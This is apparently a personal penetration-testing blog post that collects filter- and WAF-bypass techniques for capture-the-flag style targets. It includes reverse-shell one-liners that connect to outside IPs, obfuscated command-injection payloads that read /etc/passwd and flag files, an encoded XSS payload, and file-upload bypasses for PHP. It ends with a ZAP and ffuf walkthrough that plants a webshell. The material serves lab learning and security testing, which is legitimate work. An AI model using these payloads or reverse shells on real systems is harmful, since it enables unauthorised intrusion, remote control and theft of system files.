Filter Bypass Techniques

INTRODUCTION

Why write this?

Too often, I’ve found myself in a situation where I needed to bypass some kind of filter and wanted a checklist to reference. However, when searching for such a checklist, I encounter two difficulties with the references I find:

  • Information is far too task-specific. Many are only about XSS filter evasion, or only about WAFs.
  • There’s just too much. Many of these references have hundreds of different techniques to try. And that’s great, if you’re trying to hack the Pentagon, but for a Easy-to-Medium HTB box it’s way overkill.

This post is primarily a reference for myself. Consider it a “greatest hits” collection of filter bypasses that I have personal experiences with. I won’t be explaining how they work.

Disclaimer

Other people have written far more comprehensive guides for this. If you want more detail, go find one of them.

Also, many of the bypasses I’ve recorded are categorized, but some are broadly applicable. And most of the time, you’ll need to use multiple bypasses simultaneously. Don’t think you should only read one section.

TOOLS

Automation

⭐ Try WhatWaf, available at this repo. It will attempt to detect and evade WAFs for you. Very handy

Bypass / Obfuscation

For Linux, an incredible tool for all kinds of bash-based bypasses is Bashfuscator. Just feed it a command and let it figure out all kinds of crazy bypasses and obfuscations:

Note: You’ll need to clone the repo and run the setup script: python3 setup.py install --user

# You MUST switch to bash before attempting to use bashfuscator
bash
# Use randomized mutations and obfuscations:
bashfuscator -c 'bash -i >& /dev/tcp/10.10.14.27/4444 0>&1'
# Use a more modest set of obfuscation, for much shorter payloads:
bashfuscator -c 'bash -i >& /dev/tcp/10.10.14.27/4444 0>&1' -s 1 -t 1 --no-mangling --layers 1

⚠️ Bashfuscator is great, but it’s not even close to 100% accurate! Be sure to test your payloads locally before trying them against a target.

There is a really similar tool for Windows called Dosfuscation. Using an interactive “wizard” prompt, generate the payload. Then the payloads can be used in Windows cmd.

Note: You’ll need to follow the installation notes to set up this tool.

Invoke-DOSfuscation
Invoke-DOSfuscation> SET COMMAND type C:\Users\jimbob\Desktop\my-passwords.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1

Then you can just copy-paste the resulting payload into cmd.

Re-encoding

  • Download my encoding-tools repo and “install” it. I’ll use it for URL-encoding and fullwidth-encoding
  • Cyberchef is fantastic, but hard to integrate into scripts.
  • Burp is great, but sometimes it’s too much clicking and copy-pasting.
  • Python is versatile and integrates very well into scripts, but you’ll need to write a little code.
  • Bash is perfect for integrating into scripts, best used in short pipelines of things.
  • Use an LLM such as ChatGPT if you don’t need to script it, or want to learn more about the encoding.

URL-encoding using Python3:

Try my my encoding-tools repo. To use the script, just call it from anywhere:

url_encode 'hello newline \n'
# hello+newline+%0A
echo -n 'hello newline \n' | url_encode
# hello+newline+%0A

URL-encoding with jq:

You can also url-encode py piping text into jq:

echo -n 'hello newline \n' | jq -sRr @uri

Fullwidth encoding using Python3:

Again, try my my encoding-tools repo. To use the script, just call it from anywhere:

fullwidth_encode 'fullwidth!'
# fullwidth!
echo 'fullwidth!' | fullwidth_encode
# fullwidth!

Hex using Bash:

# encoding as hex
echo -n 'this is utf-8 text' | xxd -p
# decoding it
echo -n '74686973206973207574662d382074657874' | xxd -r -p

Remember to use -n with echo to suppress the line ending character.

BYPASSES

Here is a practical example that uses a few bypasses. All of the tricks are outlined later in this section.

The below tricks abuse a form that takes raw input to a ping command. This is the command we want to use:

cat /home/jimbob/flag.txt

It has a variety of filters in place, so it took a few bypasses to get past them all:

ip=127.0.0.1%0A{c%24%40at,${PATH:0:1}home${PATH:0:1}jimbob${PATH:0:1}flag.txt}
  • To inject a new command: append with a newline (%0A) character
  • To bypass the filter blocking spaces: bash parameter expansion {cat,/home/jimbob/flag.txt}
  • To bypass the filter blocking slashes: bash parameter expansion of PATH variable ${PATH:0:1}
  • To bypass the filter blocking the cat command: insert the url-encoded version of $@ (%24%40) into the middle of the command.

Replacing Spaces

Spaces are often filtered out, whether in WAFs, application logic, or many other sinks. Thankfully, there are a bunch of creative ways around using spaces.

For a much, much more complete list, check out PayloadAllTheThings

Use tabs wherever you might use a space. In this way, %20 becomes %09:

cat%09/etc/passwd

Use the ${IFS} Linux environment variable. By default, it represents a space and a tab:

cat${IFS}/etc/passwd

Use brace expansion to eliminate whitespace completely:

{'cat','/etc/passwd'}

Use input redirection instead of a space, when one side of a space is a file:

cat</etc/passwd
bash</dev/tcp/10.10.14.78/4444

Use ANSI-C variable quotation:

X=$'cat\x20/etc/passwd'&&$X

Replacing Slashes

Linux (forward slash)

Use bash-style parameter expansion. Just like you can reference variables as ${variable} or its length as ${#variable}, you can pick out arbitrary characters from known variables by using the parameter expansion substring operator: ${varname:start:length}:

cat ${PATH:0:1}etc${PATH:0:1}passwd

Thankfully, there are quite a few really predictable environment variables. For example, PATH and HOME should always start with a slash.

Windows (backslash)

For Windows CMD, you can use a similar principle. Assume we know the username, then we know its length too. We can use this knowledge to extract a backslash. For example, say the username is jimbo, which is 5 characters long; we can extract the backslash at position 6, 5 chars from the end of the string :

echo %HOMEPATH:~6,-5%

With Powershell, this is even easier. Words are internally considered arrays, so just access the first character:

$env:HOMEPATH[0]

Note: to see all environment variables in Powershell, use Get-ChildItem Env:

Replacing Colons

Use bash-style parameter expansion. See Replacing Slashes for more detail. There are a few variables that contain colons. One especially useful one is LS_COLORS:

# If a space is allowed:
${LS_COLORS: -1}
# If spaces are blacklisted too:
${LS_COLORS:${#LS_COLORS}-1:1} # Use nested parameter expansion to obtain final character
${LS_COLORS:10:1} # Use a predetermined location to get the colon

Replacing Pipes

Pipes are often blocked, do to their importance in a variety of shells. To get around this, you can try using a bash “herestring” <<< operator with a subshell $(...):

$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Character Shifting

Linux

Characters can be accessed by shifting characters by using the tr command. You can map one set of characters to another set by using tr like this:

tr '!-}' '"-~'

This maps the range of characters between ! and } onto the range of characters " to ~. Note: ! is the first printable character, } is the second-last. Likewise, " is the second printable character, and ~ is the last. I.e. the two ranges have equal lengths.

In short, the above will shift the printable alphabet to increase the character code by 1.

You could swap the arguments to shift the printable alphabet to decrease the character code by 1:

tr '"-~' '!-}' 

To utilize these shifts, you can use the <<< operator to input characters or text:

echo $(tr '!-}' '"-~'<<<abc)
# bcd
echo $(tr '"-~' '!-}'<<<xyz)
# wxy

You can also play with the ranges. This will increase by 2 characters:

tr '!-{' '#-~'

And to get a semicolon, you could shift from a 9:

echo $(tr '!-{' '#-~'<<<9)

Web App Firewall (WAF)

“Common bypasses include changing the case of the payload, using various encodings, substituting functions or characters, using an alternative syntax, and using linebreaks or tabs” - Ally Pettit

Exchange characters for unicode instead:

# ascii to UTF-8 unicode:
echo -n 'Special ch@r5 :)' | xxd -p | sed 's/../\\u&/g'
# \u53\u70\u65\u63\u69\u61\u6c\u20\u63\u68\u40\u72\u35\u20\u3a\u29

# ascii to UTF-16 unicode:
echo -n "Special ch@r5 :)" | iconv -t UTF-16LE | xxd -p -c 2 | sed 's/\(..\)\(..\)/\\u\2\1/g' | tr -d '\n'
#\u0053\u0070\u0065\u0063\u0069\u0061\u006c\u0020\u0063\u0068\u0040\u0072\u0035\u0020\u003a\u0029

URL encode the text

echo -n 'Just some normal text' | url_encode

or double URL encode it:

echo -n 'Just some normal text' | url_encode | url_encode

Use an alternate charset, like ibm037 (Example taken from this blog post):

First, generate the data / payload. This is how you’d do it with the python interpreter:

import urllib.parse
s = '<script>alert("xss")</script>'
urllib.parse.quote_plus(s.encode("IBM037"))
# 'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n'

Then, use that in an http request:

POST /comment/post HTTP/1.1
Host: boxname.htb
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 74

%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3

Base-64 encoding can also be effective:

# Encoding (Note that these encode the text 'whoami', not the command result.)
echo whoami | base64 -w 0
base64 -w 0 <<< whoami 
# Decoding
echo d2hvYW1pCg== | base64 -d
# Encoding
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
#Decoding
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('d2hvYW1pCg==')))"

Command Filters

Blacklisted commands can be bypassed by inserting characters the get parsed out of the command.

Insert quotes so that the whole word isnt recognized:

w'h'o'am'i

This works with doublequotes too. Note that number of quotes must be even, and you can’t mix types of quotes

Insert empty characters. In Linux, you can freely use $@ if you’re not in the context of a script:

who$@ami

Insert backslashes for regular characters:

who\ami

Insert caret if you’re using Windows:

who^ami

Reverse the whole command to bypass a blocked command

In Linux, run the text through rev:

$(rev<<<'imaohw')

In Windows (Powershell), use string manipulation and iex for the subshell:

iex "$('imaohw'[-1..-20] -join '')"

Filename Filters

👇 For fuzzing file extensions with file upload forms, check out the next section.

Use different extension or even use two extensions. Useful for poorly-written file extension logic that use “contains” instead or “ends with” checks.

totally_an_image.png.php

Check out the PayloadAllTheThings lists for PHP, or ASP/.NET file extension bypasses.

Use the right extension, but the wrong magic bytes:

hexedit webshell.php
# Overwrite first four bytes with FFD8 DDE0; Append FFD9 to the end.
mv webshell.php profilepic.jpg

(Note quite a bypass, per se) Abuse a wildcard * character by formatting filenames as command arguments. Check out this paper - definitely worth reading.

[root@defensecode public]# ls -al
total 72
drwxrwxrwx.  2 user user  4096 Mar 28 04:47 .
drwx------. 24 user user  4096 Oct 28 18:32 ..
-rwxr-xr-x.  1 user user   201 Oct 28 17:43 download.php
-rw-r--r--.  1 leon leon     0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x.  1 user user    56 Oct 28 17:47 footer.php
-rwxr-xr-x.  1 leon leon    31 Mar 28 04:45 shell.c

[root@defensecode public]# rsync -t *.c foo:src/

Insert a null-byte to truncate the string. See some examples where I’ve used it.

phpecho.pdf
# becomes
phpecho.php%00.pdf

Regex

These are some ways that I’ve bypassed regex-based filters.

Use CRLF characters, or even just a LF / newline. See this blog post for how this fools ruby and python (if multiline support is not included).

I like to use {{7*'7'}} SSTIs
# becomes
I like to use \n{{7*'7'}} SSTIs

Be sure to put the newline character before the “bad” characters

Use tabs instead of spaces

Use alternating case or capitals. Yep, sometimes the developer forgets to do the obvious.

test_case
# becomes
TeSt_CaSe
#or
TEST_CASE

This is effective because Linux is case-senstive, but Windows is case-insensitive

As such, if we’re attacking Linux, we can convert to lowercase on the fly. Use any case input and shove it through tr (see Character Shifting) to map all of the uppercase letters into lowercase:

$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

EXAMPLE: FILE EXTENSION FUZZING

I’m trying to use ZAP more often these days, so here’s how you can use ZAP + ffuf to fuzz for usable file extensions in a file upload vulnerability.

The scenario: there is a profile picture upload form. File extensions are being validated by a blacklist on both the frontend and backend.

We will easily bypass the frontend by using ZAP instead of the upload form. The trick here is how we bypass the backend too.

First, let’s perform a file upload with a regular (image) file and extension and proxy it through ZAP:

file extension fuzzing regular request

We can already see that the site is using PHP for the file upload. The POST body is a whole bunch of raw data representing the image.

Using this knowledge, let’s grab a suitable wordlist of extensions to fuzz with. PayloadAllTheThings has tons of wordlists for this type of fuzzing, but a this is a good one for PHP. Download that file as php_extensions.lst

⭐ There is a very comprehensive wordlist of file extensions here, in Seclists:

/usr/share/seclists/Discovery/Web-Content/web-extensions-big.txt

It’s around 60k lines long, but includes practically every variant of every file format that you could think of. It also contains double-extension bypasses, null-byte character insertions, and all kinds of other fantastic bypasses. This is definitely a good wordlist to use for file-extension filter bypass for an actual pentest or bug bounty.

Right-click and send the proxied request to the Requester tab:

file extension fuzzing send to requester

From here, let’s modify the request body a bit. Exchange the body of the content disposition with a simple line of PHP. By including recognizable text like this, it’ll make our fuzzing task much easier:

file extension fuzzing testing payload

☝️ Click Send once to “save” the new request. This just makes it easier to perform multiple runs of the Fuzz window. If you’re worried about sending that first erroneous request, you can do all the modifications from within the Fuzz window instead.

Now right-click on the request and select Fuzz. The Fuzz window will open. Noting that the entries of php_extensions.lst all have a . prefixed to them, we will select the text .EXT and click the Add button to select this portion for fuzzing; the Payloads modal window will open.

☝️ Note that there is a button that toggles the mode between Edit and Save. We need the mode to be in its “Saved” state before we can select the portion of the request to fuzz.

Comparing this to Burp, we’re doing the equivalent of their “Sniper” attack from Intruder.

From within the Payloads window, click the Add button and select what we want that portion of the request fuzzed with. We’ll use a simple wordlist / file mode, so choose type File and select php_extensions.lst:

file extension fuzzing add payload

Click Add to set the payload, then OK to close the Payloads window. You should now see the fuzzed portion highlighted:

file extension fuzzing window

Now that everything is defined, click Start Fuzzer and see the results arrive in the Fuzzer tab:

file extension fuzzing fuzzer tab results

Noting the response body size, we can see that responses fall into two different categories. Opening these up, we can see that some were successful uploads and some were not, giving an indication of which file extensions bypassed the filter.

But there’s a catch: the fact that some of the file extensions bypassed the filter does not mean that they can execute the PHP payload. For checking that, let’s use ffuf with a size matcher to test for our test string’s length:

echo -n '## ITS WORKING ##' | wc -c
# 17 characters long
ffuf -w php_extensions.lst -u http://94.237.57.59:43507/profile_images/beaverFUZZ \
-c -t 60 -timeout 4 -ic -ac -v -ms 17

Almost instantaneously, we have our result:

file extension fuzzing ffuf result

💡 If we wanted ffuf to just check for any uploads that passed the filter, we could use ffuf with a regex matcher instead:

ffuf -w php_extensions.lst -u http://94.237.57.59:43507/profile_images/beaverFUZZ \
-c -t 60 -timeout 4 -ic -ac -v -mr '## ITS WORKING ##'

This text will be present as long as the file uploaded, regardless of whether or not the PHP can actually execute.

We can Ctrl+click the successful result to navigate to that page and see that it did indeed work, and is executing our PHP:

file extension fuzzing successful test payload

As a final step, we can upload a webshell. Just go back to the Requester tab and exchange our PHP echo payload for the contents of your favourite webshell. Also, be sure to set the file extension to the one we just determined through fuzzing:

file extension fuzzing sending webshell

Click Send then navigate to the resulting page to utilize the webshell 💰

file extension fuzzing using webshell

CONCLUSION

These are some bypasses that I’ve found useful. If I had a proper “checklist” for doing bypasses of any kind, these would all be near the top. I hope you find it useful as well.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake